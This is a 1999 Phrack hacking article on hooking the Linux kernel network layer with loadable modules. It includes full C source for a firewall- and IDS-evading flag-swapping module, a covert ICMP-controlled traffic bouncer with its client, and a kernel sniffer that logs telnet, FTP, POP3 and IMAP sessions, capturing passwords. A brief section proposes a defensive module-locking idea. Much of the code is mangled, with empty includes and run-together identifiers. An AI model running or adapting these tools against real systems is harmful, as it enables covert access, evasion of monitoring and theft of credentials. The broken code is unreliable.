-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 12 of 19 ]
-------------------------[ Building Into The Linux Network Layer ]
--------[ kossak kossak@hackers-pt.org, lifeline arai@hackers-pt.org ]
----[ Introduction
As we all know, the Linux kernel has a monolithic architecture. That basically means that every piece of code that is executed by the kernel has to be loaded into kernel memory. To prevent having to rebuild the kernel every time new hardware is added (to add drivers for it), Mr. Linus Torvalds and the gang came up with the loadable module concept that we all came to love: the linux kernel modules (lkm's for short). This article begins by pointing out yet more interesting things that can be done using lkm's in the networking layer, and finishes by trying to provide a solution to kernel backdooring.
----[ Socket Kernel Buffers
TCP/IP is a layered set of protocols. This means that the kernel needs to use several routine functions to process the different packet layers in order to fully "understand" the packet and connect it to a socket, etc. First, it needs a routine to handle the link-layer header and, once processed there, the packet is passed to the IP-layer handling routine(s), then to the transport- layer routine(s) and so on. Well, the different protocols need a way to communicate with each other as the packets are being processed. Under Linux the answer to this are socket kernel buffers (or sk_buff's). These are used to pass data between the different protocol layers (handling routines) and the network device drivers.
The sk_buff{} structure (only the most important items are presented, see linux/include/linux/skbuff.h for more):
sk_buff{} --------+ next | --------| prev | --------| dev | --------| | --------| head |---+ --------| | data |---|---+ --------| | | tail |---|---|---+ --------| | | | end |---|---|---|---+ --------|<--+ | | | | | | | --------|<------+ | | Packet | | | being | | | handled | | | --------|<----------+ | | | | | | | --------+<--------------+
next: pointer to the next skbuff{}. prev: pointer to the previous skbuff{}. dev: device we are currently using. head: pointer to beginning of buffer which holds our packet. data: pointer to the actual start of the protocol data. This may vary depending of the protocol layer we are on. tail: pointer to the end of protocol data, also varies depending of the protocol layer using he sk_buff. end: points to the end of the buffer holding our packet. Fixed value.
For further enlightenment, imagine this:
host A sends a packet to host B
host B receives the packet through the appropriate network device.
the network device converts the received data into sk_buff data structures.
those data structures are added to the backlog queue.
the scheduler then determines which protocol layer to pass the received packets to.
Thus, our next question arises... How does the scheduler determine which protocol to pass the data to? Well, each protocol is registered in a packettype{} data structure which is held by either the ptypeall list or the ptypebase hash table. The packettype{} data structure holds information on protocol type, network device, pointer to the protocol's receive data processing routine and a pointer to the next packettype{} structure. The network handler matches the protocol types of the incoming packets (skbuff's) with the ones in one or more packettype{} structures. The skbuff is then passed to the matching protocol's handling routine(s).
----[ The Hack
What we do is code our own kernel module that registers our packettype{} data structure to handle all incoming packets (skbuff's) right after they come out of the device driver. This is easier than it seems. We simply fill in a packettype{} structure and register it by using a kernel exported function called devaddpack(). Our handler will then sit between the device driver and the next (previously the first) routine handler. This means that every skbuff that arrives from the device driver has to pass first through our packet handler.
----[ The Examples
We present you with three real-world examples, a protocol "mutation" layer, a kernel-level packet bouncer, and a kernel-level packet sniffer.
----[ OTP (Obscure Transport Protocol)
The first one is really simple (and fun too), it works in a client-server paradigm, meaning that you need to have two modules loaded, one on the client and one on the server (duh). The client module catches every TCP packet with the SYN flag on and swaps it with a FIN flag. The server module does exactly the opposite, swaps the FIN for a SYN. I find this particularly fun since both sides behave like a regular connection is undergoing, but if you watch it on the wire it will seem totally absurd. This can also do the same for ports and source address. Let's look at an example taken right from the wire.
Imagine the following scenario, we have host 'doubt' who wishes to make a telnet connection to host 'hardbitten'. We load the module in both sides telling it to swap port 23 for 80 and to swap a SYN for a FIN and vice-versa.
[lifeline@doubt ITP]$ telnet hardbitten A regular connection (without the modules loaded) looks like this:
03:29:56.766445 doubt.1025 > hardbitten.23: tcp (SYN) 03:29:56.766580 hardbitten.23 > doubt.1025: tcp (SYN ACK) 03:29:56.766637 doubt.1025 > hardbitten.23: tcp (ACK)
(we only look at the initial connection request, the 3-way handshake)
Now we load the modules and repeat the procedure. If we look at the wire the connection looks like the following:
03:35:30.576331 doubt.1025 > hardbitten.80: tcp (FIN) 03:35:30.576440 hardbitten.80 > doubt.1025: tcp (FIN ACK) 03:35:30.576587 doubt.1025 > hardbitten.80: tcp (ACK)
When, what is happening in fact, is that 'doubt' is (successfully) requesting a telnet session to host 'hardbitten'. This is a nice way to evade IDSes and many firewall policies. It is also very funny. :-)
Ah, There is a problem with this, when closing a TCP connection the FIN's are replaced by SYN's because of the reasons stated above, there is, however, an easy way to get around this, is to tell our lkm just to swap the flags when the socket is in TCPLISTEN, TCPSYNSENT or TCPSYN_RECV states. I have not implemented this partly to avoid misuse by "script kiddies", partly because of laziness and partly because I'm just too busy. However, it is not hard to do this, go ahead and try it, I trust you.
----[ A Kernel Traffic Bouncer
This packet relaying tool is mainly a proof of concept work at this point.
This one is particularly interesting when combined with the previous example.
We load our module on the host 'medusa' that then sits watching every packet
coming in. We want to target host 'hydra' but this one only accepts telnet
connections from the former. However, it's too risky to log into 'medusa'
right now, because root is logged. No problem, we send an ICMPECHOREQUEST
packet that contains a magic cookie or password and 2 ip's and 2 ports like:
The following example illustrates this nicely:
host medusa has bouncer module installed.
host medusa receives an magic ICMP packet with:
any packet coming to host medusa from
sourceip:srcprtwith destination portdstportis routed todestip, and vice-versa. The packets are never processed by the rest of the stack on medusa.
Note that as I said above, in the coded example we removed srcprt from the
information sent to the bouncer. This means it will accept packets from any
source port. This can be dangerous: imagine that I have this bouncing rule
processed on host 'medusa':
Now try to telnet from 'medusa' to 'hydra'. You won't make it. Every packet coming back from hydra is sent to 'intruder', so no response appears to the user executing the telnet. Intruder will drop the packets obviously, since he didn't start a connection. Using a source port on the rule minimizes this risk, but there is still a possibility (not likely) that a user on medusa uses the same source port we used on our bouncing rule. This should be possible to avoid by reserving the source port on host medusa (see masquerading code in the kernel).
As a side note, this technique can be used on almost all protocols, even those without port abstraction (UDP/TCP). Even icmp bouncing should be possible using cookies. This is a more low-level approach than ip masquerading, and IMHO a much better one :)
Issues with the bouncer: - Source port ambiguity. My suggestion to solving this is to accept the rules without a source port, and then add that to the rule after a SYN packet reaches the bouncer. The rule then only affects that connection. The source port is then cleared by an RST or a timeout waiting for packets. - No timeout setting on rules. - The bouncer does not handle IP fragments.
Also, there's a bigger issue in hand. Notice in the source that I'm sending the packets right through the device they came. This is a bad situation for routers. This happens because I only have immediate access to the hardware address of the originating packet's device. To implement routing to another device, we must consult IP routing tables, find the device that is going to send the packet, and the destination machine's MAC address (if it is an ethernet device), that may only be available after an ARP request. It's tricky stuff. This problem, depending on the network, can become troublesome. Packets could be stuck on 2 hosts looping until they expire (via TTL), or, if the network has traffic redundancy, they might escape safely.
----[ A Kernel Based Sniffer
Another proof of concept tool, the sniffer is a bit simpler in concept than the bouncer. It just sits in its socket buffer handler above all other protocol handlers and listens for, say, TCP packets, and then logs them to a file. There are some tricks to it of course... We have to be able to identify packets from different connections, and better yet, we have to order out-of-sequence tcp packets, in order to get coherent results. This is particularly nasty in case of telnet connections.
(a timeout feature is missing too, and the capability of sniffing more than one connection at a given moment (this one is tricky).
Ideally, the module should store all results in kernel memory and send them back to us (if we say, send it a special packet). But this is a proof of concept, and it is not a finished "script kiddies" product, so I leave you smart readers to polish the code, learn it, and experiment with it :)
----[ A Solution For Kernel Harassing
So, having fun kicking kernel ass from left to right? Let's end the tragedy, the linux kernel is your friend! :) Well, I've read Silvio's excellent article about patching the kernel using /dev/kmem, so obviously compiling the kernel without module support is not enough. I leave you with an idea. It should be fairly simple to code. It's a module (yes, another one), that when loaded prevents any other modules to load, and turns /dev/kmem into a read-only device (kernel memory can only be accessed with ring 0 privilege). So without any kernel routine made available to the outside, the kernel is the only one that can touch it's own memory. Readers should know that this is not something new. Securelevels are (somewhat) implemented in kernels 2.0.x and do some cool stuff like not allowing writing directly to critical devices, such as /dev/kmem, /dev/mem, and /dev/hd*. This was not implemented in 2.2.x, so it would be nice to have a module like this. When an administrator is through loading modules, and wants to leave the system just a bit more secure, he loads the 'lock' module, and presto, no more kernel harassing. This must be of course be accompanied by other measures. I believe a real secure system should have this module installed and the kernel image file stored on a read only media, such as a floppy disk drive, and no boot loader such as lilo. You should also be worried about securing the CMOS data. You just want to boot using the floppy. Securing the CMOS data can be tricky on a rooted system as I noticed on a recent discussion on irc (liquidk, you intelligent bastard), but this is out of the scope of this article. This idea could also be implemented directly in the kernel without using modules. Mainly I would like to see a real secure levels implementation on 2.2.x :)
---[ References
- The Linux Kernel by David A. Rusling
- TCP/IP Illustrated, Volume 1 by W. Richard Stevens (Addison Wesley)
- Phrack Issue 52, article 18 (P52-18) by plaguez.
- Windows 98 Unleashed by Stev...oh. no. wait, this can't be right... :-)
----[ Acknowledgements
Both the authors would like to thank to: + HPT (http://www.hackers-pt.org) for being a bunch of idiots (hehe). + pmsac@toxyn.org for support and coming up with the idea for the kernel based sniffer. + LiquidK for coming up with the OTP concept and fucking up some of our seemingly 'invincible' concepts :) + All of you leet hackers from Portugal, you know who you are. The scene shall be one again!! :)
----[ The Code: OTP
<++> P55/Linux-lkm/OTP/otp.c !bf8d47e0 /* * Obscure Transport Protocol * * Goal: Change TCP behavior to evade IDS and firewall policies. * * lifeline (c) 1999 * arai@hackers-pt.org * * gcc -O6 -c otp.c -I/usr/src/linux/include * insmod otp.o dev=eth0 ip=123.123.123.123 * * In ip= use only numerical dotted ip's!! * Btw, this is the ip of the other machine that also has the module. * * Load this module in both machines putting in the ip= argument each other's * machine numerical dotted ip. * * Oh, and don't even think about flaming me if this fucks up your machine, * it works fine on mine with kernel 2.2.5. * This tool stands on its own. I'm not responsible for any damage caused by it. * * You will probably want to make some arrangements with the #define's below. * */
define MODULE
define KERNEL
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
/* Define here if you want to swap ports also */
define REALPORT 23 /* port you which to communicate */
define FAKEPORT 80 /* port that appears on the wire */
char *dev, *ip; MODULEPARM(dev, "s"); MODULEPARM(ip, "s"); struct device *d;
struct packettype otpproto;
_u32 inaton(const char *);
/* Packet Handler Function */ int otpfunc(struct skbuff *skb, struct device *dv, struct packet_type *pt) {
unsigned long int magic_ip;
unsigned int fin = skb->h.th->fin;
unsigned int syn = skb->h.th->syn;
magic_ip = in_aton(ip);
if ((skb->pkt_type == PACKET_HOST || skb->pkt_type == PACKET_OUTGOING)
&& (skb->nh.iph->saddr == magic_ip || skb->nh.iph->daddr == magic_ip)
&& (skb->h.th->source == FAKEPORT) || (skb->h.th->dest == FAKEPORT)) {
if (skb->h.th->source == FAKEPORT) skb->h.th->source = htons(REALPORT);
if (skb->h.th->dest == FAKEPORT) skb->h.th->dest = htons(REALPORT);
if (skb->h.th->fin == 1) {
skb->h.th->fin = 0;
skb->h.th->syn = 1;
goto bye;
}
if (skb->h.th->syn == 1) {
skb->h.th->fin = 1;
skb->h.th->syn = 0;
}
}
bye:
kfree_skb(skb);
return 0;
}
/* * Convert an ASCII string to binary IP. */
_u32 inaton(const char *str) { unsigned long l; unsigned int val; int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}
int init_module() {
if(!ip) {
printk("Error: missing end-host ip.\n");
printk("Usage: insmod otp.o ip=x.x.x.x [dev=devname]\n\n");
return -ENXIO;
}
if (dev) {
d = dev_get(dev);
if (!d) {
printk("Did not find device %s!\n", dev);
printk("Using all known devices...");
}
else {
printk("Using device %s, ifindex: %i\n",
dev, d->ifindex);
otp_proto.dev = d;
}
}
else
printk("Using all known devices(wildcarded)...\n");
otp_proto.type = htons(ETH_P_ALL);
otp_proto.func = otp_func;
dev_add_pack(&otp_proto);
return(0);
}
void cleanupmodule() { devremovepack(&otpproto); printk("OTP unloaded\n"); } <-->
<++> P55/Linux-lkm/Bouncer/brules.c !677bd859 /* * Kernel Bouncer - Rules Client * brules.c * * lifeline|arai (c) 1999 * arai@hackers-pt.org * * Btw, needs libnet (http://www.packetfactory.net/libnet). * Be sure to use 0.99d or later or this won't work due to a bug in previous versions. * * Compile: gcc brules.c -lnet -o brules * Usage: ./brules srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule * * srcaddr - source address * dstaddr - destination adress (host with the bouncer loaded) * password - magic string for authentication with module * srcaddr-rule - source address of new bouncing rule * dstaddr-rule - destination address of new bouncing rule * dstport-rule - destination port of new bouncing rule * protocol-rule - protocol of new bouncing rule (tcp, udp or icmp), 0 deletes all existing rules * * Example: * # ./brules 195.138.10.10 host.domain.com lifeline 192.10.10.10 202.10.10.10 23 tcp * * This well tell 'host.domain.com' to redirect all connections to port 23 * from '192.10.10.10', using TCP as the transport protocol, to the same port, * using the same protocol, of host '202.10.10.10'. * Of course, host.domain.com has to be with the module loaded. * * Copyright (c) 1999 lifeline arai@hackers-pt.org * All rights reserved. * */
include
include
define MAGIC_STR argv[3]
int main(int argc, char **argv) {
struct rule {
u_long srcaddr, dstaddr;
u_char protocol;
u_short destp;
struct rule *next;
} *rules;
unsigned char *buf;
u_char *payload;
int c, sd, payload_s={0};
if (argc != 8) {
printf("Kernel Bouncer - Rules Client\n");
printf("arai|lifeline (c) 1999\n\n");
printf("Thanks to Kossak for the original idea.\n");
printf("Usage: %s srcaddr dstaddr password srcaddr-rule dstaddr-rule dstport-rule protocol-rule\n", argv[0]);
exit(0);
}
rules = (struct rule *)malloc(sizeof(struct rule));
rules->srcaddr = libnet_name_resolve(argv[4], 1);
rules->dstaddr = libnet_name_resolve(argv[5], 1);
rules->destp = htons(atoi(argv[6]));
rules->protocol = atoi(argv[7]);
if(strcmp(argv[7], "tcp")==0)rules->protocol = IPPROTO_TCP;
if(strcmp(argv[7], "udp")==0)rules->protocol = IPPROTO_UDP;
if(strcmp(argv[7], "icmp")==0)rules->protocol = IPPROTO_ICMP;
rules->next = 0;
payload = (u_char *)malloc(strlen(MAGIC_STR) + sizeof(struct rule));
memcpy(payload, MAGIC_STR, strlen(MAGIC_STR));
memcpy((struct rule *)(payload + strlen(MAGIC_STR)), rules, sizeof(struct rule));
payload_s = strlen(MAGIC_STR) + sizeof(struct rule);
buf = malloc(8 + IP_H + payload_s);
if((sd = open_raw_sock(IPPROTO_RAW)) == -1) {
fprintf(stderr, "Cannot create socket\n");
exit(EXIT_FAILURE);
}
libnet_build_ip(8 + payload_s, 0, 440, 0, 64,
IPPROTO_ICMP, name_resolve(argv[1], 1),
name_resolve(argv[2], 1), NULL, 0, buf);
build_icmp_echo(8, 0, 242, 55, payload, payload_s, buf + IP_H);
if(libnet_do_checksum(buf, IPPROTO_ICMP, 8 + payload_s) == -1) {
fprintf(stderr, "Can't do checksum, packet may be invalid.\n");
}
ifdef DEBUG
printf("type -> %d\n", *(buf+20));
printf("code -> %d\n", *(buf+20+1));
printf("checksum -> %d\n", *(buf+20+2));
endif
c = write_ip(sd, buf, 8 + IP_H + payload_s);
if (c < 8 + IP_H + payload_s) {
fprintf(stderr, "Error writing packet.\n");
exit(EXIT_FAILURE);
}
ifdef DEBUG
printf("%s : %p\n", buf+28, buf+28);
endif
printf("Kernel Bouncer - Rules Client\n");
printf("lifeline|arai (c) 1999\n\n");
printf("Rules packet sent to %s.\n", argv[2]);
free(rules);
free(payload);
free(buf);
}
<-->
<++> P55/Linux-lkm/Bouncer/bouncer.c !f3ea817c
/*
* krnbouncer.c - A kernel based bouncer module
*
* by kossak
* kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job (no irony intended).
*
* USAGE: gcc -O2 -DDEBUG -c krnbouncer.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=
define MODULE
define KERNEL
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);
define TRUE -1
define FALSE 0
define MAXRULES 8 /* Max bouncing rules. */
define RULEPASS "kossak"
/*
define SOURCEIP "a.b.c.d"
define DESTIP "e.f.g.h"
*/
/* global data */ int debug, errno;
struct rule { _u32 source, dest; _u8 proto; __u16 destp; /* TCP and UDP only */ struct rule *next; };
/* this is a linked list */ struct rule *first_rule;
char dev;
MODULE_PARM(dev, "s"); / gets the parameter dev=
struct packettype bounceproto;
/* inicial function declarations */
char *inntoa(u32 in); _u32 inaton(const char *str); int filter(struct skbuff *); int mstrlen(char *); char *mmemcpy(char *, char *, int); int m_strcmp(char *, const char *);
void processpktin(struct skbuff *); void bounceandsend(struct skbuff *, _u32 newhost); void clearbouncerules(void); void processbouncerule(struct rule *);
/* our packet handler */ int pktfunc(struct skbuff *skb, struct device *dv, struct packet_type *pt) {
switch (skb->pkt_type) {
case PACKET_OUTGOING:
break;
case PACKET_HOST:
process_pkt_in(skb);
break;
case PACKET_OTHERHOST:
break;
default:
kfree_skb(skb);
return 0;
}
}
void bounceandsend(struct skbuff *skb, _u32 new_host) {
struct tcphdr *th;
struct iphdr *iph;
unsigned char dst_hw_addr[6];
unsigned short size;
int doff = 0;
int csum = 0;
int offset;
th = skb->h.th;
iph = skb->nh.iph;
skb->pkt_type = PACKET_OUTGOING; /* this packet is no longer for us */
/* we swap the ip addresses */
iph->saddr = skb->nh.iph->daddr;
iph->daddr = new_host;
size = ntohs(iph->tot_len) - (iph->ihl * 4);
doff = th->doff << 2;
/* calculate checksums again... bleh! :P */
skb->csum = 0;
csum = csum_partial(skb->h.raw + doff, size - doff, 0);
skb->csum = csum; /* data checksum */
th->check = 0;
th->check = csum_tcpudp_magic(
iph->saddr,
iph->daddr,
size,
iph->protocol,
csum_partial(skb->h.raw, doff, skb->csum)
); /* tcp or udp checksum */
ip_send_check(iph); /* ip checksum */
/* Now change the hardware MAC address and rebuild the hardware
* header. no need to allocate space in the skb, since we're dealing
* with packets coming directly from the driver, with all fields
* complete.
*/
m_memcpy(dst_hw_addr, skb->mac.ethernet->h_source, 6);
if (skb->dev->hard_header)
skb->dev->hard_header( skb,
skb->dev,
ntohs(skb->protocol),
dst_hw_addr,
skb->dev->dev_addr,
skb->len);
else
DBGPRN1("no hardware-header build routine found\n");
/* send it anyway! lets hope nothing breaks :) */
dev_queue_xmit(skb_clone(skb, GFP_ATOMIC));
}
void processbouncerule(struct rule *ptr) {
struct rule *new_rule;
if ( ptr->proto == 0 ) {
DBGPRN1("protocol ID is 0, clearing bounce rules...\n");
clear_bounce_rules();
}
else {
new_rule = kmalloc(sizeof(struct rule), GFP_ATOMIC);
m_memcpy ((char *)new_rule,(char *)ptr, sizeof(struct rule));
new_rule->next = NULL; /* trust no one :) */
if (!first_rule) {
first_rule = new_rule; /* not 100% efficient here... */
}
else {
ptr = first_rule;
while (ptr->next)
ptr = ptr->next;
ptr->next = new_rule;
}
}
}
/* this is untested code, dunno if kfree() works as advertised. */ void clearbouncerules () { struct rule *ptr;
while (first_rule) {
ptr = first_rule->next;
kfree(first_rule);
first_rule = ptr;
}
}
void processpktin(struct sk_buff *skb) {
char *data;
int i, datalen;
struct rule *ptr;
__u32 host;
/* fix some pointers */
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
/* This is an icmp packet, and may contain a bouncing rule for us. */
if (skb->nh.iph->protocol == IPPROTO_ICMP) {
if (skb->h.icmph->type != ICMP_ECHO) return;
data = (skb->h.raw) + sizeof(struct icmphdr);
datalen = skb->len;
if (m_strcmp(data, RULEPASS)) {
DBGPRN1("Found a valid cookie, checking size...\n");
i = m_strlen(RULEPASS);
if (sizeof(struct rule) < datalen - i) {
DBGPRN1("Valid size, editing rules...\n");
process_bounce_rule((struct rule *)(data+i));
}
return;
}
}
ptr = first_rule;
/* search the existing rules for this packet */
while (ptr) {
if (skb->nh.iph->protocol != ptr->proto) {
ptr = ptr->next;
continue;
}
if (skb->nh.iph->saddr == ptr->source
&& skb->h.th->dest == ptr->destp) {
bounce_and_send(skb, ptr->dest);
return;
}
if (skb->nh.iph->saddr == ptr->dest
&& skb->h.th->source == ptr->destp) {
bounce_and_send(skb, ptr->source);
return;
}
ptr = ptr->next;
}
}
/* initmodule */ int initmodule(void) {
ifdef DEBUG
debug = TRUE;
else
debug = FALSE;
endif
first_rule = NULL;
/* this is for testing purposes only firstrule = kmalloc(sizeof(struct rule), GFPATOMIC); firstrule->source = inaton(SOURCEIP); firstrule->dest = inaton(DESTIP); firstrule->proto = IPPROTOTCP; firstrule->destp = htons(23); firstrule->next = NULL; */ if (dev) { d = devget(dev); if (!d) { DBGPRN2("Did not find device %s!\n", dev); DBGPRN1("Using all known devices..."); } else { DBGPRN3("Using device %s, ifindex: %i\n", dev, d->ifindex); bounceproto.dev = d; } } else DBGPRN1("Using all known devices...\n");
bounce_proto.type = htons(ETH_P_ALL);
/* this one just gets us incoming packets */
/* bounceproto.type = htons(ETHP_IP); */
bounce_proto.func = pkt_func;
dev_add_pack(&bounce_proto);
return(0);
}
void cleanupmodule(void) { devremovepack(&bounceproto);
DBGPRN1("Bouncer Unloaded\n");
}
/* boring yet useful functions follow... */
/* Convert an ASCII string to binary IP. */ _u32 inaton(const char *str) { unsigned long l; unsigned int val; int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}
/* the other way around. */ char *inntoa(_u32 in) { static char buff[18]; char *p;
p = (char *) ∈
sprintf(buff, "%d.%d.%d.%d",
(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
return(buff);
}
int m_strcmp(char *trial, const char *correct) { char *p; const char *i;
p = trial;
i = correct;
while (*i) {
if (!p) return 0;
if (*p != *i) return 0;
p++;
i++;
}
return 1;
}
char *m_memcpy(char *dest, char *src, int size) { char *i, *p;
p = dest;
i = src;
while (size) {
*p = *i;
i++;
p++;
size--;
}
return dest;
}
int m_strlen(char ptr) { int i = 0; while (ptr) { ptr++; i++; } return i; }
/* EOF /
<-->
<++> P55/Linux-lkm/krnsniff/krnsniff.c !4adeadb3
/
* krnsniff.c v0.1a - A kernel based sniffer module
*
* by kossak
* kossak@hackers-pt.org || http://www.hackers-pt.org/kossak
*
* This file is licensed by the GNU General Public License.
*
* Tested on a 2.2.5 kernel. Should compile on others with minimum fuss.
* However, I'm not responsible for setting fire on your computer, loss of
* mental health, bla bla bla...
*
* CREDITS: - Mike Edulla's ever popular linsniffer for some logging ideas.
* - Plaguez and Halflife for an excelent phrack article on
* kernel modules.
* - the kernel developers for a great job (no irony intended).
*
* USAGE: gcc -O2 -DDEBUG -c krnsniff.c -I/usr/src/linux/include ;
* insmod krnsniff.o [dev=
define MODULE
define KERNEL
include
include
include
include
include
include
include
include
include
include
include
include
include
include
include
/* from a piece of pmsac's code... this is pratic :) */
define DBGPRN1(X) if (debug) printk(KERN_DEBUG X)
define DBGPRN2(X,Y) if (debug) printk(KERN_DEBUG X, Y);
define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);
define TRUE -1
define FALSE 0
define CAPTLEN 512 /* no. of bytes to log */
/* do a 'touch LOGFILE' before you load the module. */
define LOGFILE "/tmp/sniff.log"
/* global data / int debug, errno, out_c, in_c, thru_c; / packet counters */
struct tdata { char content[1500]; unsigned long seq; struct tdata *next; };
struct { unsigned short active; unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; unsigned long totlen; struct t_data *data; } victim;
char dev;
MODULE_PARM(dev, "s"); / gets the parameter dev=
struct packettype sniffproto;
/* inicial function declarations */ char *inntoa(u32 in); int filter(struct skbuff *); void mstrncpy(char *, char *, int); int mstrlen(char *);
void startvictim(struct skbuff *); void writevictim(struct skbuff *); void end_victim(void);
/* our packet handler */ int pktfunc(struct skbuff *skb, struct device *dv, struct packet_type *pt) {
/* fix some pointers */
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2);
skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);
switch (skb->pkt_type) {
case PACKET_OUTGOING:
out_c++;
/* dont count with the hardware header
* since my stupid ippp device does not set this...
* add more devices here.
*/
if(strstr(dv->name, "ppp"))
skb->len -= 10;
else
skb->len -= dv->hard_header_len;
break;
case PACKET_HOST:
in_c++;
skb->len -= dv->hard_header_len;
break;
case PACKET_OTHERHOST:
thru_c++;
skb->len -= dv->hard_header_len;
break;
default:
kfree_skb(skb);
return 0;
}
if(filter(skb)) {
kfree_skb(skb);
return 0;
}
/* rare case of NULL's in buffer contents */
if (m_strlen(skb->data) < skb->len)
skb->len = m_strlen(skb->data);
if (skb->len > CAPTLEN - victim.totlen)
skb->len = CAPTLEN - victim.totlen;
if (skb->len)
write_victim(skb);
kfree_skb(skb);
return 0;
}
int filter (struct sk_buff skb) { / this is the filter function. it checks if the packet is worth logging */
struct t_data *ptr, *i;
int port = FALSE;
if (skb->nh.iph->protocol != IPPROTO_TCP)
return TRUE;
/* change to your favourite services here */
if (ntohs(skb->h.th->dest) == 21 ||
ntohs(skb->h.th->dest) == 23 ||
ntohs(skb->h.th->dest) == 110 ||
ntohs(skb->h.th->dest) == 143 ||
ntohs(skb->h.th->dest) == 513)
port = TRUE;
if (victim.active) {
if((skb->h.th->dest != victim.dport) ||
(skb->h.th->source != victim.sport) ||
(skb->nh.iph->saddr != victim.saddr) ||
(skb->nh.iph->daddr != victim.daddr))
return TRUE;
if (victim.totlen >= CAPTLEN) {
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : CAPLEN reached ---\n", 50);
ptr->next = NULL;
i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;
end_victim();
return TRUE;
}
if(skb->h.th->rst) {
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : RST caught ---\n", 50);
ptr->next = NULL;
i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;
end_victim();
return TRUE;
}
if(skb->h.th->fin) {
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : FIN caught ---\n", 50);
ptr->next = NULL;
i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;
end_victim();
return TRUE;
}
}
else {
if (port && skb->h.th->syn)
start_victim (skb);
else
return TRUE;
}
return FALSE;
}
void startvictim(struct skbuff *skb) {
victim.active = TRUE;
victim.saddr = skb->nh.iph->saddr;
victim.daddr = skb->nh.iph->daddr;
victim.sport = skb->h.th->source;
victim.dport = skb->h.th->dest;
victim.data = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
/* we're a module, we can't afford to crash */
if(!victim.data) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
victim.data->seq = ntohl(skb->h.th->seq);
victim.data->next = NULL;
sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n",
in_ntoa(victim.saddr),
ntohs(victim.sport),
in_ntoa(victim.daddr),
ntohs(victim.dport));
victim.totlen = m_strlen(victim.data->content);
}
void writevictim(struct skbuff *skb) {
struct t_data *ptr, *i;
ptr = kmalloc(sizeof(struct t_data), GFP_ATOMIC);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
ptr->next = NULL;
ptr->seq = ntohl(skb->h.th->seq);
m_strncpy(ptr->content, skb->data, skb->len);
/*
* putting it in the ordered list.
*/
i = victim.data;
if(ptr->seq < i->seq) {
/*
* we caught a packet "younger" than the starting SYN.
* Likely? no. Possible? yep. forget the bastard.
*/
kfree(ptr);
return;
}
/* actual ordering of tcp packets */
while (ptr->seq >= i->seq) {
if (ptr->seq == i->seq)
return; /* seq not incremented (no data) */
if (!i->next)
break;
if (i->next->seq > ptr->seq)
break;
i = i->next;
}
ptr->next = i->next;
i->next = ptr;
victim.totlen += m_strlen(ptr->content);
return;
}
void endvictim(void) { /* * Im now saving the data to a file. This is mainly BSD's process accounting * code, as seen in the kernel sources. */ struct tdata *ptr; struct file *file = NULL; struct inode *inode; mmsegmentt fs;
file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);
if (IS_ERR(file)) {
errno = PTR_ERR(file);
DBGPRN2("error %i\n", errno);
goto vic_end;
}
if (!S_ISREG(file->f_dentry->d_inode->i_mode)) {
fput(file);
goto vic_end;
}
if (!file->f_op->write) {
fput(file);
goto vic_end;
}
fs = get_fs();
set_fs(KERNEL_DS);
inode = file->f_dentry->d_inode;
down(&inode->i_sem);
while (victim.data) {
file->f_op->write(file, (char *)&victim.data->content,
m_strlen(victim.data->content), &file->f_pos);
ptr = victim.data;
victim.data = victim.data->next;
kfree(ptr);
}
up(&inode->i_sem);
set_fs(fs);
fput(file);
DBGPRN1("Entry saved\n");
vic_end: victim.saddr = 0; victim.daddr = 0; victim.sport = 0; victim.dport = 0; victim.active = FALSE; victim.totlen = 0; victim.data = NULL; }
